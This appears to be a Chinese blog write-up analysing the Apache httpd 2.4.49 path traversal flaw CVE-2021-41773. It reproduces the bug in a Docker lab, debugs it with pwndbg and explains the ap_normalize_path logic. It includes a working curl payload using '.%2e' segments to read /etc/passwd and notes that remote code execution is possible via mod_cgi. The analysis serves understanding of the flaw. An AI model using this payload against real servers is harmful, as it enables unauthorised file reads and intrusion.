前言

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。其存在目录穿越文件读取漏洞,漏洞仅影响 httpd 2.4.49, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。

CVE-2021-41773分析

利用师傅搭建好的docker漏洞环境进行复现并分析

docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773

微信图片_20221229192904

微信图片_20221229192909

该镜像容器中有安装好的 pwndbg 调试组件

微信图片_20221229193001

保留一个 daemon httpd 用于调试,其它进程直接kill掉

gdb --pid 110

微信图片_20221229193050

我们已知漏洞函数位于 ap_normalize_path ,所以直接在 ap_normalize_path 处添加断点

微信图片_20221229193124

构造 payload

curl "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

此时传入的 path 的值是 /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

微信图片_20221229193247

在函数的返回值下断点,由于返回函数在601行,所以断点下载601行,然后继续调试代码

pwndbg> b 601
Breakpoint 2 at 0x561aa6e457c7: file util.c, line 601.
pwndbg> c
Continuing.

微信图片_20221229193348

调试之后看到最后传入的url为/cgi-bin/…/…/…/…/etc/passwd ,继续执行发现成果读取到文件内容

微信图片_20221229193430

然后我们单步调试对 ap_normalize_path 进行分析

 AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)

{
int ret = 1;
apr_size_t l = 1, w = 1;

if (!IS_SLASH(path[0])) {
    /* Besides "OPTIONS *", a request-target should start with '/'
     * per RFC 7230 section 5.3, so anything else is invalid.
     */
    if (path[0] == '*' && path[1] == '\0') {
        return 1;
    }
    /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
     * this restriction (e.g. for subrequest file lookups).
     */
    if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
        return 0;
    }

    l = w = 0;
}

除了 “OPTIONS *”, 每个请求路径都应该是以 ‘/’ 开头

while (path[l] != '\0') {
    if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
            && path[l] == '%' && apr_isxdigit(path[l + 1])
                              && apr_isxdigit(path[l + 2])) {
        const char c = x2c(&path[l + 1]);
        if (apr_isalnum(c) || (c && strchr("-._~", c))) {
            /* Replace last char and fall through as the current
             * read position */
            l += 2;
            path[l] = c;
        }
    }

如果解码成功l指针移动到编码的最后一位,且将解码后的值复制给path[l]

 if (w == 0 || IS_SLASH(path[w - 1])) {
        /* Collapse ///// sequences to / */
        if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
            do {
                l++;
            } while (IS_SLASH(path[l]));
            continue;
        }

        if (path[l] == '.') {
            /* Remove /./ segments */
            if (IS_SLASH_OR_NUL(path[l + 1])) {
                l++;
                if (path[l]) {
                    l++;
                }
                continue;
            }

            /* Remove /xx/../ segments */
            if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                /* Wind w back to remove the previous segment */
                if (w > 1) {
                    do {
                        w--;
                    } while (w && !IS_SLASH(path[w - 1]));
                }
                else {
                    /* Already at root, ignore and return a failure
                     * if asked to.
                     */
                    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                        ret = 0;
                    }
                }


                /* Move l forward to the next segment */
                l += 2;
                if (path[l]) {
                    l++;
                }
                continue;
            }
        }
    }

    path[w++] = path[l++];
}
path[w] = '\0';

return ret;

}

在代码if (path[l + 1] == ‘.’ && IS_SLASH_OR_NUL(path[l + 2])) { 中 遇到 …/ 时才会回退到上一个 / ,在解码的时候时一个字符一个字符进行解码的,当遇到 .%2e/ 这种情况时,因为 后面不是 ./ 所以会先将 . 赋值给 path[w],之后 %2e 进行解码后此时 path[l] = . path[l+1] 为 / ,但是因为我们已经保存了一个值 . 到

path[w] , w 不为零 且 path[w - 1]不是 / ,就不满足 if (w == 0 || IS_SLASH(path[w - 1])) ,不会进入判断,值会直接赋予 path[w]。如此就将 /…/ 成功赋予到了path中。

小结

至此CVE-2021-41773的分析到此结束